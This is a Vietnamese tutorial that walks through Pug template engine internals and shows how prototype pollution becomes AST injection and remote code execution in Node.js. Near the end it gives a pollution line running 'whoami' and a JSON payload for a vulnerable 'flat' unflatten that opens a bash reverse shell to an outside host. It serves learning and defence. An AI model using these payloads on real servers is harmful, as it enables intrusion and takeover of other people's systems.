# Prototype pollution -> AST Injection -> RCE

## Giới thiệu AST

[Abstract Syntax Tree](https://en.wikipedia.org/wiki/Abstract_syntax_tree) là cấu trúc dữ liệu được sử dụng rộng rãi trong compilers bởi đặc tính đại diện cho cấu trúc của ngôn ngữ trong chương trình. Một AST là kết quả của syntax analysis ( phân tích cú pháp ).

AST là một đồ thị biểu diễn các phần tử của ngôn ngữ lập trình, sau đó được đọc bởi compilers để tạo nên binary code (mã máy)


Dành thời gian đọc qua bài này trước khi tiếp tục nha: https://www.twilio.com/blog/abstract-syntax-trees

Để lấy ví dụ, ta có trang web https://astexplorer.net giúp phân tích cú pháp JS sang một AST.
Với một đoạn code đơn giản:

let a = 1;

Ta thu về được AST tương ứng (ở đây mình để ở dạng JSON):

{
  "type": "Program",
  "start": 0,
  "end": 10,
  "body": [
    {
      "type": "VariableDeclaration",
      "start": 0,
      "end": 10,
      "declarations": [
        {
          "type": "VariableDeclarator",
          "start": 4,
          "end": 9,
          "id": {
            "type": "Identifier",
            "start": 4,
            "end": 5,
            "name": "a"
          },
          "init": {
            "type": "Literal",
            "start": 8,
            "end": 9,
            "value": 1,
            "raw": "1"
          }
        }
      ],
      "kind": "let"
    }
  ],
  "sourceType": "module"
}

Trong quá khứ, các JS Engine như Rhino hay spidermonkey có các cách xây dựng AST khác nhau dẫn đến sự bất đồng bộ. Từ đó một common specification (hay standard) được tạo ra đó là [ESTree](https://github.com/estree/estree)

Tham khảo bài viết: https://jotadeveloper.medium.com/abstract-syntax-trees-on-javascript-534e33361fc7

## AST bên trong Pug

Pug là một trong những template engine được dùng phổ biến của nodejs, cách hoạt động bên trong của Pug dựa trên cấu trúc dữ liệu AST để tạo ra mã Javascript và Template function từ cú pháp riêng của pug


Khi install module Pug của nodejs thì npm/yarn cũng sẽ tự install thêm các dependecies khác, bao gồm pug-lexer, pug-parser, pug-codegen (3 module trên ứng với 3 bước ứng dụng AST đã nêu trong hình ở phần giới thiệu AST)

## Break things down

Trước khi tìm hiểu về AST Injection trong Pug, hãy tìm hiểu về cách mà Pug hoạt động, từ compile đến render giao diện như thế nào.

**Setup environment để debug:**

Tạo một project mới, install pug và expess (mình dùng express do quen nhưng bạn có thể cho console.log trực tiếp cũng được)

const express = require('express');
const pug = require('pug');
const app = express();
const port = 3000;

app.set('view engine', 'pug');

app.get('/page', (req,res) => {
  const source = `h1= msg`;

  var fn = pug.compile(source);
  var html = fn({msg: 'It works'});

  res.send(fn.toString());

});

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
});

Truy cập tới /page và bắt đầu step into `pug.compile()`


exports.compile = function(str, options) {
  var options = options || {};

  str = String(str);

  var parsed = compileBody(str, {
    compileDebug: options.compileDebug !== false,
    filename: options.filename,
    basedir: options.basedir,
    pretty: options.pretty,
    doctype: options.doctype,
    inlineRuntimeFunctions: options.inlineRuntimeFunctions,
    globals: options.globals,
    self: options.self,
    includeSources: options.compileDebug === true,
    debug: options.debug,
    templateName: 'template',
    filters: options.filters,
    filterOptions: options.filterOptions,
    filterAliases: options.filterAliases,
    plugins: options.plugins,
  });

  var res = options.inlineRuntimeFunctions
    ? new Function('', parsed.body + ';return template;')()
    : runtimeWrap(parsed.body);

  res.dependencies = parsed.dependencies;

  return res;
};

Hàm này sẽ đảm bảo tham số `str` truyền vào là string, sau đó truyền vào lời gọi `compileBody` cùng với các options.


function compileBody(str, options) {
  var debug_sources = {};
  debug_sources[options.filename] = str;
  var dependencies = [];
  var plugins = options.plugins || [];
  var ast = load.string(str, {
    filename: options.filename,
    basedir: options.basedir,
    lex: function(str, options) {
      var lexOptions = {};
      Object.keys(options).forEach(function(key) {
        lexOptions[key] = options[key];
      });
      lexOptions.plugins = plugins
        .filter(function(plugin) {
          return !!plugin.lex;
        })
        .map(function(plugin) {
          return plugin.lex;
        });
      var contents = applyPlugins(
        str,
        {filename: options.filename},
        plugins,
        'preLex'
      );
      return applyPlugins(
        lex(contents, lexOptions),
        options,
        plugins,
        'postLex'
      );
    },
    parse: function(tokens, options) {
      tokens = tokens.map(function(token) {
        if (token.type === 'path' && path.extname(token.val) === '') {
          return {
            type: 'path',
            loc: token.loc,
            val: token.val + '.pug',
          };
        }
        return token;
      });
      tokens = stripComments(tokens, options);
      tokens = applyPlugins(tokens, options, plugins, 'preParse');
      var parseOptions = {};
      Object.keys(options).forEach(function(key) {
        parseOptions[key] = options[key];
      });
      parseOptions.plugins = plugins
        .filter(function(plugin) {
          return !!plugin.parse;
        })
        .map(function(plugin) {
          return plugin.parse;
        });

      return applyPlugins(
        applyPlugins(
          parse(tokens, parseOptions),
          options,
          plugins,
          'postParse'
        ),
        options,
        plugins,
        'preLoad'
      );
    },
    resolve: function(filename, source, loadOptions) {
      var replacementFunc = findReplacementFunc(plugins, 'resolve');
      if (replacementFunc) {
        return replacementFunc(filename, source, options);
      }

      return load.resolve(filename, source, loadOptions);
    },
    read: function(filename, loadOptions) {
      dependencies.push(filename);

      var contents;

      var replacementFunc = findReplacementFunc(plugins, 'read');
      if (replacementFunc) {
        contents = replacementFunc(filename, options);
      } else {
        contents = load.read(filename, loadOptions);
      }

      debug_sources[filename] = Buffer.isBuffer(contents)
        ? contents.toString('utf8')
        : contents;
      return contents;
    },
  });
  ast = applyPlugins(ast, options, plugins, 'postLoad');
  ast = applyPlugins(ast, options, plugins, 'preFilters');

  var filtersSet = {};
  Object.keys(exports.filters).forEach(function(key) {
    filtersSet[key] = exports.filters[key];
  });
  if (options.filters) {
    Object.keys(options.filters).forEach(function(key) {
      filtersSet[key] = options.filters[key];
    });
  }
  ast = filters.handleFilters(
    ast,
    filtersSet,
    options.filterOptions,
    options.filterAliases
  );

  ast = applyPlugins(ast, options, plugins, 'postFilters');
  ast = applyPlugins(ast, options, plugins, 'preLink');
  ast = link(ast);
  ast = applyPlugins(ast, options, plugins, 'postLink');

  // Compile
  ast = applyPlugins(ast, options, plugins, 'preCodeGen');
  var js = (findReplacementFunc(plugins, 'generateCode') || generateCode)(ast, {
    pretty: options.pretty,
    compileDebug: options.compileDebug,
    doctype: options.doctype,
    inlineRuntimeFunctions: options.inlineRuntimeFunctions,
    globals: options.globals,
    self: options.self,
    includeSources: options.includeSources ? debug_sources : false,
    templateName: options.templateName,
  });
  js = applyPlugins(js, options, plugins, 'postCodeGen');

  // Debug compiler
  if (options.debug) {
    console.error(
      '\nCompiled Function:\n\n\u001b[90m%s\u001b[0m',
      js.replace(/^/gm, '  ')
    );
  }

  return {body: js, dependencies: dependencies};
}

Hàm này sẽ gọi tới `load.string()`, truyền vào `str` và các options khác, đồng thời gán thêm các method khác (`lex`, `parse`, ...) làm nhiệm vụ tạo AST và tạo JS code. Tiếp tục step into hàm này


load.string = function loadString(src, options) {
  options = assign(getOptions(options), {
    src: src,
  });
  var tokens = options.lex(src, options);
  var ast = options.parse(tokens, options);
  return load(ast, options);
};

Bên trong getOptions có hàm `load.validateOptions()` sẽ làm nhiệm vụ kiểm tra `options` có valid hay không, sau đó trả về `options` cùng 2 method nữa là `resolve` và `read`, tiếp tục dùng `assign` để thêm property `src` vào `options`

Tiếp tục thực thi bên trong `load.string`, một AST sẽ được tạo nên và được truyền tới lời gọi `load()`.


module.exports = load;
function load(ast, options) {
  options = getOptions(options);
  // clone the ast
  ast = JSON.parse(JSON.stringify(ast));
  return walk(ast, function(node) {
    if (node.str === undefined) {
      if (
        node.type === 'Include' ||
        node.type === 'RawInclude' ||
        node.type === 'Extends'
      ) {
        var file = node.file;
        if (file.type !== 'FileReference') {
          throw new Error('Expected file.type to be "FileReference"');
        }
        var path, str, raw;
        try {
          path = options.resolve(file.path, file.filename, options);
          file.fullPath = path;
          raw = options.read(path, options);
          str = raw.toString('utf8');
        } catch (ex) {
          ex.message += '\n    at ' + node.filename + ' line ' + node.line;
          throw ex;
        }
        file.str = str;
        file.raw = raw;
        if (node.type === 'Extends' || node.type === 'Include') {
          file.ast = load.string(
            str,
            assign({}, options, {
              filename: path,
            })
          );
        }
      }
    }
  });
}

Hàm này tiếp tục gọi tới `walk()` từ module`pug-walk`, tham số truyền vào là AST cùng một callback


function walkAST(ast, before, after, options) {
  if (after && typeof after === 'object' && typeof options === 'undefined') {
    options = after;
    after = null;
  }
  options = options || {includeDependencies: false};
  var parents = (options.parents = options.parents || []);

  var replace = function replace(replacement) {
    if (Array.isArray(replacement) && !replace.arrayAllowed) {
      throw new Error(
        'replace() can only be called with an array if the last parent is a Block or NamedBlock'
      );
    }
    ast = replacement;
  };
  replace.arrayAllowed =
    parents[0] &&
    (/^(Named)?Block$/.test(parents[0].type) ||
      (parents[0].type === 'RawInclude' && ast.type === 'IncludeFilter'));

  if (before) {
    var result = before(ast, replace);
    if (result === false) {
      return ast;
    } else if (Array.isArray(ast)) {
      // return right here to skip after() call on array
      return walkAndMergeNodes(ast);
    }
  }

  parents.unshift(ast);

  switch (ast.type) {
    case 'NamedBlock':
    case 'Block':
      ast.nodes = walkAndMergeNodes(ast.nodes);
      break;
    case 'Case':
    case 'Filter':
    case 'Mixin':
    case 'Tag':
    case 'InterpolatedTag':
    case 'When':
    case 'Code':
    case 'While':
      if (ast.block) {
        ast.block = walkAST(ast.block, before, after, options);
      }
      break;
    case 'Each':
      if (ast.block) {
        ast.block = walkAST(ast.block, before, after, options);
      }
      if (ast.alternate) {
        ast.alternate = walkAST(ast.alternate, before, after, options);
      }
      break;
    case 'EachOf':
      if (ast.block) {
        ast.block = walkAST(ast.block, before, after, options);
      }
      break;
    case 'Conditional':
      if (ast.consequent) {
        ast.consequent = walkAST(ast.consequent, before, after, options);
      }
      if (ast.alternate) {
        ast.alternate = walkAST(ast.alternate, before, after, options);
      }
      break;
    case 'Include':
      walkAST(ast.block, before, after, options);
      walkAST(ast.file, before, after, options);
      break;
    case 'Extends':
      walkAST(ast.file, before, after, options);
      break;
    case 'RawInclude':
      ast.filters = walkAndMergeNodes(ast.filters);
      walkAST(ast.file, before, after, options);
      break;
    case 'Attrs':
    case 'BlockComment':
    case 'Comment':
    case 'Doctype':
    case 'IncludeFilter':
    case 'MixinBlock':
    case 'YieldBlock':
    case 'Text':
      break;
    case 'FileReference':
      if (options.includeDependencies && ast.ast) {
        walkAST(ast.ast, before, after, options);
      }
      break;
    default:
      throw new Error('Unexpected node type ' + ast.type);
      break;
  }

  parents.shift();

  after && after(ast, replace);
  return ast;

  function walkAndMergeNodes(nodes) {
    return nodes.reduce(function(nodes, node) {
      var result = walkAST(node, before, after, options);
      if (Array.isArray(result)) {
        return nodes.concat(result);
      } else {
        return nodes.concat([result]);
      }
    }, []);
  }
}

Callback khi nãy được truyền vào `before`, bên dưới câu switch thì hàm sẽ chạy vào câu case thứ 2, gọi tới hàm `walkAndMergeNodes()`

function walkAndMergeNodes(nodes) {
    return nodes.reduce(function(nodes, node) {
      var result = walkAST(node, before, after, options);
      if (Array.isArray(result)) {
        return nodes.concat(result);
      } else {
        return nodes.concat([result]);
      }
    }, []);
  }

Tiếp theo thì ta trở lại với hàm `compileBody()`, tại đây tiếp tục gọi đến `link()`

function link(ast) {
  assert(
    ast.type === 'Block',
    'The top level element should always be a block'
  );
  var extendsNode = null;
  if (ast.nodes.length) {
    var hasExtends = ast.nodes[0].type === 'Extends';
    checkExtendPosition(ast, hasExtends);
    if (hasExtends) {
      extendsNode = ast.nodes.shift();
    }
  }
  ast = applyIncludes(ast);
  ast.declaredBlocks = findDeclaredBlocks(ast);
  if (extendsNode) {
    var mixins = [];
    var expectedBlocks = [];
    ast.nodes.forEach(function addNode(node) {
      if (node.type === 'NamedBlock') {
        expectedBlocks.push(node);
      } else if (node.type === 'Block') {
        node.nodes.forEach(addNode);
      } else if (node.type === 'Mixin' && node.call === false) {
        mixins.push(node);
      } else {
        error(
          'UNEXPECTED_NODES_IN_EXTENDING_ROOT',
          'Only named blocks and mixins can appear at the top level of an extending template',
          node
        );
      }
    });
    var parent = link(extendsNode.file.ast);
    extend(parent.declaredBlocks, ast);
    var foundBlockNames = [];
    walk(parent, function(node) {
      if (node.type === 'NamedBlock') {
        foundBlockNames.push(node.name);
      }
    });
    expectedBlocks.forEach(function(expectedBlock) {
      if (foundBlockNames.indexOf(expectedBlock.name) === -1) {
        error(
          'UNEXPECTED_BLOCK',
          'Unexpected block ' + expectedBlock.name,
          expectedBlock
        );
      }
    });
    Object.keys(ast.declaredBlocks).forEach(function(name) {
      parent.declaredBlocks[name] = ast.declaredBlocks[name];
    });
    parent.nodes = mixins.concat(parent.nodes);
    parent.hasExtends = true;
    return parent;
  }
  return ast;
}

Trong context hiện tại thì sau khi kết thúc `link()` AST không bị thay đổi gì => skip đến đoạn compile tạo JS.

Trong phần compile, code gọi đến hàm `generateCode` dựa trên AST đã tạo. Trong hàm này sẽ return về một instance tạo từ `Compiler` trong module `pug-code-gen` và gọi phương thức `compile()` của class này

function generateCode(ast, options) {
  return new Compiler(ast, options).compile();
}

compile: function() {
    this.buf = [];
    if (this.pp) this.buf.push('var pug_indent = [];');
    this.lastBufferedIdx = -1;
    this.visit(this.node);
    if (!this.dynamicMixins) {
      // if there are no dynamic mixins we can remove any un-used mixins
      var mixinNames = Object.keys(this.mixins);
      for (var i = 0; i < mixinNames.length; i++) {
        var mixin = this.mixins[mixinNames[i]];
        if (!mixin.used) {
          for (var x = 0; x < mixin.instances.length; x++) {
            for (
              var y = mixin.instances[x].start;
              y < mixin.instances[x].end;
              y++
            ) {
              this.buf[y] = '';
            }
          }
        }
      }
    }
    var js = this.buf.join('\n');
    var globals = this.options.globals
      ? this.options.globals.concat(INTERNAL_VARIABLES)
      : INTERNAL_VARIABLES;
    if (this.options.self) {
      js = 'var self = locals || {};' + js;
    } else {
      js = addWith(
        'locals || {}',
        js,
        globals.concat(
          this.runtimeFunctionsUsed.map(function(name) {
            return 'pug_' + name;
          })
        )
      );
    }
    if (this.debug) {
      if (this.options.includeSources) {
        js =
          'var pug_debug_sources = ' +
          stringify(this.options.includeSources) +
          ';\n' +
          js;
      }
      js =
        'var pug_debug_filename, pug_debug_line;' +
        'try {' +
        js +
        '} catch (err) {' +
        (this.inlineRuntimeFunctions ? 'pug_rethrow' : 'pug.rethrow') +
        '(err, pug_debug_filename, pug_debug_line' +
        (this.options.includeSources
          ? ', pug_debug_sources[pug_debug_filename]'
          : '') +
        ');' +
        '}';
    }
    return (
      buildRuntime(this.runtimeFunctionsUsed) +
      'function ' +
      (this.options.templateName || 'template') +
      '(locals) {var pug_html = "", pug_mixins = {}, pug_interp;' +
      js +
      ';return pug_html;}'
    );
  }

Tại hàm này sẽ gen ra đoạn code JavaScript cho template function. Trong hàm tiếp tục gọi đến `visit`, trong `visit` tiếp tục gọi đến `visitNode`, trong `visitNode` sẽ gọi đến một hàm dựa trên `type` của `this.node` (là cái AST khi nãy truyền vào). Mục đích của nó là kiểm tra tất cả các node và throw ra lỗi nếu không thỏa các điều kiện cũng như tạo một phần JS code và push vào `this.buf`, ta có thể skip qua hàm này, nhưng hãy để ý phần này vì nó là mấu chốt cho một cuộc tấn công AST Injection nhắm vào Pug:

if (debug && node.debug !== false && node.type !== 'Block') {
      if (node.line) {
        var js = ';pug_debug_line = ' + node.line;
        if (node.filename)
          js += ';pug_debug_filename = ' + stringify(node.filename);
        this.buf.push(js + ';');
      }
    }

Trở lại với `compile()` của `pug-code-gen`, buf hiện là array sẽ được join và chứa vào `js`. Sau một hồi tạo JS thì cuối cùng code JS sẽ được đưa vào template function

return (
      buildRuntime(this.runtimeFunctionsUsed) +
      'function ' +
      (this.options.templateName || 'template') +
      '(locals) {var pug_html = "", pug_mixins = {}, pug_interp;' +
      js +
      ';return pug_html;}'
    );

Trở lại hàm `compileBody`, return về một object gồm `js` và `dependencies`

return {body: js, dependencies: dependencies};

Tại hàm `pug.compile()` ban đầu sẽ trả về một function nhận vào tham số là các biến locals (trong trường hợp này là `msg`). Thử in ra nội dung của function bằng cách gọi method `toString` của hàm

function template(locals) {var pug_html = "", pug_mixins = {}, pug_interp;var pug_debug_filename, pug_debug_line;try {; var locals_for_with = (locals || {}); (function (msg) { ;pug_debug_line = 1; pug_html = pug_html + "\u003Ch1\u003E"; ;pug_debug_line = 1; pug_html = pug_html + (pug.escape(null == (pug_interp = msg) ? "" : pug_interp)) + "\u003C\u002Fh1\u003E"; }.call(this, "msg" in locals_for_with ? locals_for_with.msg : typeof msg !== 'undefined' ? msg : undefined)); ;} catch (err) {pug.rethrow(err, pug_debug_filename, pug_debug_line);};return pug_html;}

Hàm này return về `pug_html`, cũng chính là code html được gen ra từ **template function**, nguyên lý của các template engine khác sau cùng cũng là tạo ra một **template function** như thế này

## Prototype Pollution => AST Injection

Thử thêm một dòng vào đầu route trong express ở đoạn code ban đầu:

Object.prototype.block = {"type": "Text", "line": "console.log(process.mainModule.require('child_process').execSync('whoami').toString())"};

Đoạn code này sẽ pollute prototype của tất cả các object về sau, bất cứ object nào được tạo ra đều sẽ có thuộc tính `block` được gán như trên trong prototype. Thử chạy lại đoạn code:


Cùng nhìn lại vào đoạn code cần lưu ý lúc nãy:

if (debug && node.debug !== false && node.type !== 'Block') {
      if (node.line) {
        var js = ';pug_debug_line = ' + node.line;
        if (node.filename)
          js += ';pug_debug_filename = ' + stringify(node.filename);
        this.buf.push(js + ';');
      }
    }

Do việc check `node.line` có tồn tại hay không nhưng không kiểm tra data type của nó khiến cho attacker khi đã khai thác được prototype pollution có thể tiếp tục inject dữ liệu dạng string như một JS Code và cuối cùng là dẫn đến RCE. Lúc này nội dung của template function được gen ra sẽ là:

function template(locals) {var pug_html = "", pug_mixins = {}, pug_interp;var pug_debug_filename, pug_debug_line;try {; var locals_for_with = (locals || {}); (function (console, msg, process) { ;pug_debug_line = 1; pug_html = pug_html + "\u003Ch1\u003E"; ;pug_debug_line = 1; pug_html = pug_html + (pug.escape(null == (pug_interp = msg) ? "" : pug_interp)); ;pug_debug_line = console.log(process.mainModule.require('child_process').execSync('whoami').toString()); pug_html = pug_html + "ndefine\u003C\u002Fh1\u003E"; }.call(this, "console" in locals_for_with ? locals_for_with.console : typeof console !== 'undefined' ? console : undefined, "msg" in locals_for_with ? locals_for_with.msg : typeof msg !== 'undefined' ? msg : undefined, "process" in locals_for_with ? locals_for_with.process : typeof process !== 'undefined' ? process : undefined)); ;} catch (err) {pug.rethrow(err, pug_debug_filename, pug_debug_line);};return pug_html;}


## Trường hợp thực tế

const express = require('express');
const { unflatten } = require('flat');
const pug = require('pug');

const app = express();
app.use(require('body-parser').json())

app.get('/', function (req, res) {
    const template = pug.compile(`h1= msg`);
    res.end(template({msg: 'It works'}));
});

app.post('/vulnerable', function (req, res) {
    let object = unflatten(req.body);
    res.json(object);
});
 
app.listen(3000);

Method `unflatten` của method `flat` là một method dùng để "làm phẳng" một object/array, nghĩa là nếu ta có một object chứa nhiều object bên trong, method này sẽ giúp ta biến nó thành một object "phẳng":

obj = {
    a: {
        b: 1
    }
}

unflatten:

obj = {
    "a.b": 1
}

Trong quá khứ method này từng có lỗ hổng cho phép hacker thực hiện prototype pollution, nếu ta input vào một JSON:

{
    "__proto__.block": {
        "type": "Text", 
        "line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
    }
}

Prototype ở đây là `object` sẽ bị polluted và các object sau được khởi tạo dựa trên prototype này cũng đều sẽ tồn tại property `block` với kiểu dữ liệu object và dẫn đến tấn công RCE như bên trên.

Tham khảo: https://blog.p6.is/AST-Injection/

Peace!